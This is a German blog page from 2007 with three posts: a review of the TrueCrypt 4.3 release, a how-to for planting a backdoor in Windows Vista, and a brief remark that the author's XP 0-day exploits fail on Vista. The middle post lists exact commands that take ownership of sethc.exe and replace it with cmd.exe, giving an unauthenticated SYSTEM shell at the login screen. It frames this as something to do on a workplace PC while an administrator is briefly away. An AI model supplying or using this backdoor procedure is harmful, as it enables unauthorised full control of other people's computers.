Seit vorgestern gibt es, wie erwartet, eine neue Version von TrueCrypt zum Download. Das Open Source-Verschlüsselungstool bietet aber leider in der neusten Version, keine besonders große Anzahl an neuen Features, die man als unbedingt notwendig betrachten müsste.

Die Version für Mac OS X lässt leider immer noch auf sich warten, wie die TrueCrypt API und RAW-Support für CDs / DVDs.

TrueCrypt ist soweit die einzige sehr brauchbare Lösung, die problemlosen Dateiaustausch in verschlüsselter Form über Partitionen bzw. Container in Cross-Plattform-Umgebungen erlaubt. Wenn Mac OS X endlich dazu stoßen würde, würde das Gesamtbild abgerundeter wirken. Wie es sich mit TrueCrypt und bspw. FreeBSD verhält, weiß ich nicht. Aber wahrscheinlich lässt sich TrueCrypt dort recht leicht zur Zusammenarbeit überreden.

In Hinblick auf die Sicherheit von TrueCrypt gibt es ebenfalls nichts über Änderungen zu berichten, was in diesem Fall natürlich sehr positiv ist. Lediglich einige übliche Verschlüsselungsalgorithmen, wie z.B. Blowfish und 3DES, wurden entfernt. Volumes, die diese Algorithmen bisher verwenden, können noch immer mit der neuen Version von TrueCrypt gemountet werden. Allerdings können mit der Version 4.3 keinen neuen Volumes mehr mit diesen Algorithmen erstellt werden.
Die meisten Neuerungen, die die neue Version betreffen, sind zumeist Anpassungen an Windows Vista von Microsoft.

Weitere Informationen zur neuen Version findet man auf der offiziellen Webseite.

Wie man sich ein Backdoor in Vista baut

nospam@example.com (Alex) — Tue, 13 Mar 2007 19:28:00 +0100

Um es gleich vorweg zu nehmen: Wenn man nicht gerade einen Administrator in der Firma hat, der schnell vorbeikommt, um irgendetwas einzurichten und dabei kurzzeitig den Raum verlässt (Toilette, Telefon, etc.), während er noch mit administrativen Rechten am Arbeitsplatz-PC angemeldet ist, der hat nichts von diesem Backdoor. (Vielleicht wird in der Zukunft noch eine weitere Lücke im Dateischutz von Windows entdeckt, so dass man u.U. gar nicht auf administrative Rechte angewiesen ist.)

Falls jemand aber doch in solch eine Situation geraten sollte, so kann er ohne besondere Spuren zu hinterlassen ein Backdoor in Microsoft Windows Vista einrichten, was nicht sofort vom Virenscanner als solches identifiziert und anschließend aufgehalten wird.

Wenn man also einen solchen Account kurz zur Verfügung hat, dann kann man sich der folgenden Befehle bedienen, um sich ein lokales Backdoor einzurichten:

takeown /f %windir%\system32\sethc.exe

cacls %windir%\system32\sethc.exe /g Administrator:F

Nur falls Backup erwünscht:

ren %windir%\system32\sethc.exe sethc.ex-

copy %windir%\system32\cmd.exe %windir%\system32\sethc.exe

Dank der Aufhebung des Dateischutzes von Windows und dem Austausch der Datei für die Eingabehilfe, genauer: Die Einrastfunktion, wird nun ab sofort durch fünfmaliges Drücken der [SHIFT]-Taste eine Eingabeaufforderung gestartet, welche mit System-Rechten ("NT-Autorität\System") läuft. So kann man sich einfach unangemeldet am System vollen Zugang besorgen. Anzumerken wäre noch, dass die Eingabeaufforderung nach einer Weile von selbst verschwindet, egal ob man darin gerade arbeitet oder nicht. Allerdings kann sie wieder erneut aufgerufen werden.

Das dies in einer Organisation / Bildungseinrichtung / Unternehmen / etc. natürlich nicht erlaubt ist, sollte klar sein und hier keiner Erwähnung bedürfen. Das dies zu einer Abmahnung im Unternehmen führen kann ebenso. Wie man diese moderat kritische Lücke allerdings vernünftig stopft, ist mir bislang leider nicht bekannt.

(Ich bitte die Qualität des Screenshots und des Videos (MP4) zu entschuldigen, aber man sollte dennoch gut etwas darauf erkennen.)

0-day XP Exploits laufen nicht in Vista

nospam@example.com (Alex) — Fri, 09 Mar 2007 04:59:25 +0100

Seit gestern habe ich eine deutsche Lokalisierung von Microsoft Windows Vista Ultimate Edition (32 Bit) als Final hier auf einem Labor-Rechner am Laufen. Leider funktioniert keiner meiner schönen 0-day Exploits für XP unter Vista genauso.

Aber es gibt garantiert noch massig neue, vor allem in Vista, zu finden.